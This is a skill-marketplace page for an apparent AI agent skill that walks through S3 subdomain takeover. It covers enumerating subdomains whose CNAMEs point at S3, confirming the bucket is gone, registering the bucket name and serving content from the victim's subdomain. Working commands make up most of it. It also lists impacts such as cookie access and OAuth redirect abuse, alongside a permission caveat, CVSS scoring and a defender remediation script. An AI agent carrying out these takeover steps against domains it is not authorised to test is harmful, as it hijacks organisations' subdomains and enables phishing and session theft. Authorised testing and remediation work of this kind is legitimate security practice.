# S3 Takeover

> Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists).

- Skill: `purpleailab/s3-takeover` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/s3-takeover`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/s3-takeover/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/s3-takeover

---


# S3 Subdomain Takeover

When a subdomain has a `CNAME` to an S3 hostname (e.g.
`assets.example.com → assets-example.s3.amazonaws.com`) but the bucket
no longer exists, **anyone can register that bucket name and serve
content from the subdomain**.

## 1. Enumerate subdomains pointing at S3
From recon SUMMARY.md, look for any CNAME containing:
- `s3.amazonaws.com`
- `s3-website-<region>.amazonaws.com`
- `s3.<region>.amazonaws.com`
- `s3-website.<region>.amazonaws.com`
- `<bucket>.s3.<region>.amazonaws.com`
- CloudFront/CDN distributions backed by S3 (`.cloudfront.net`)

Or run direct:
```bash
# Subdomain dump
subfinder -d example.com -silent > /tmp/subs.txt

# Check CNAMEs
for s in $(cat /tmp/subs.txt); do
  cname=$(dig +short CNAME "$s" 2>/dev/null | head -1)
  if echo "$cname" | grep -qE 's3.*amazonaws|cloudfront'; then
    echo "$s -> $cname"
  fi
done > /tmp/s3-candidates.txt
```

## 2. Verify dangling
For each candidate:
```bash
# Try to GET the subdomain - look for the S3 "NoSuchBucket" error
curl -s -o /tmp/r.html "https://$SUBDOMAIN/" -w '%{http_code}\n'
grep -E 'NoSuchBucket|BucketNotFound|<Code>NoSuchBucket</Code>' /tmp/r.html

# Or query the bucket name directly
BUCKET=$(echo "$CNAME" | awk -F'.' '{print $1}')
aws s3 ls "s3://$BUCKET/" --no-sign-request 2>&1
# "NoSuchBucket" / "The specified bucket does not exist" = dangling
```

Decepticon helper:
```
s3_takeover_check("<subdomain>")
```

## 3. Claim the bucket
```bash
# In the SAME region the CNAME implies
aws s3api create-bucket \
  --bucket "$BUCKET" \
  --region us-east-1 \
  --create-bucket-configuration LocationConstraint=us-east-1
# (us-east-1 omits the LocationConstraint)
```

**Race conditions**:
- AWS sometimes blocks names of recently-deleted buckets (cooldown). If
  it errors with "BucketAlreadyExists" or "Bucket name reserved", the
  takeover window has closed (or is gated).
- For high-value targets, attempt in different regions — some CNAMEs
  don't specify region and AWS DNS resolves to whichever region you
  create the bucket in.

## 4. Demonstrate impact (safe)
**Static page proof** (engagement context — get explicit permission first):
```bash
echo '<h1>S3 subdomain takeover PoC</h1><p>Demonstrated by ENGAGEMENT-ID</p>' > /tmp/index.html
aws s3 cp /tmp/index.html "s3://$BUCKET/index.html"
aws s3 website "s3://$BUCKET/" --index-document index.html

# Now curl https://$SUBDOMAIN/ returns your content
```

DO NOT:
- Serve actual exploit content (XSS, drive-by, phishing)
- Capture cookies even though you can (same-origin to the org)
- Leave the bucket up post-engagement

DO:
- Take a timestamped screenshot of your benign content served from the subdomain
- Hand the bucket name over to defender for transfer / cooldown
- Delete the bucket after PoC: `aws s3 rb "s3://$BUCKET" --force`

## 5. Impact framing
A claimed S3 bucket on an org subdomain gives:
- **Same-origin scripting** vs every page on that subdomain
- **Cookie access** for cookies scoped to the parent domain (`.example.com`)
- **OAuth redirect_uri** abuse if the subdomain is a registered redirect
- **MITM-class trust** — orgs publish links to the subdomain assuming control
- **TLS** is "free" via the org's own ACM cert if Route 53 + ACM are
  configured, otherwise it's an HTTP-only takeover (still bad)

## 6. Promote
```
kg_add_node(kind="vulnerability", label="S3 takeover: <subdomain>",
            props={"severity":"high","bucket":"<bucket>","region":"<region>"})
kg_add_edge(src=<vuln>, dst=<crown_jewel:org-domain>, kind="grants-impersonation")
```

## CVSS
- Subdomain with active OAuth flow / cookie scope: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N` = 8.7
- Static-content subdomain only: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N` = 7.5
- Subdomain with no apparent purpose (unused): Medium 5-6

## Defender remediation
```bash
# Find every S3 CNAME the org publishes
aws route53 list-hosted-zones --query 'HostedZones[].Id' --output text | \
  xargs -I{} aws route53 list-resource-record-sets --hosted-zone-id {} \
  --query 'ResourceRecordSets[?Type==`CNAME`]' --output json > /tmp/cnames.json

# Cross-check against existing buckets
jq -r '.[] | select(.ResourceRecords[].Value | test("s3.*amazonaws")) | .Name' /tmp/cnames.json | \
  while read sd; do
    bucket=$(dig +short CNAME "$sd" | head -1 | sed 's/.s3.*//; s/.$//')
    aws s3api head-bucket --bucket "$bucket" 2>&1 | grep -q "Not Found" && echo "DANGLING: $sd -> $bucket"
  done
```

## Known exemplars
- 2017: Uber subdomain takeover via S3 → reported via H1, $7.5k
- 2020: Multiple Tesla-owned subdomains pointed at deleted S3 buckets
- 2022: Detectify scan found 350+ Fortune-500 dangling S3 records
- Pattern: M&A acquisitions where the acquired company's cloud assets aren't transferred properly

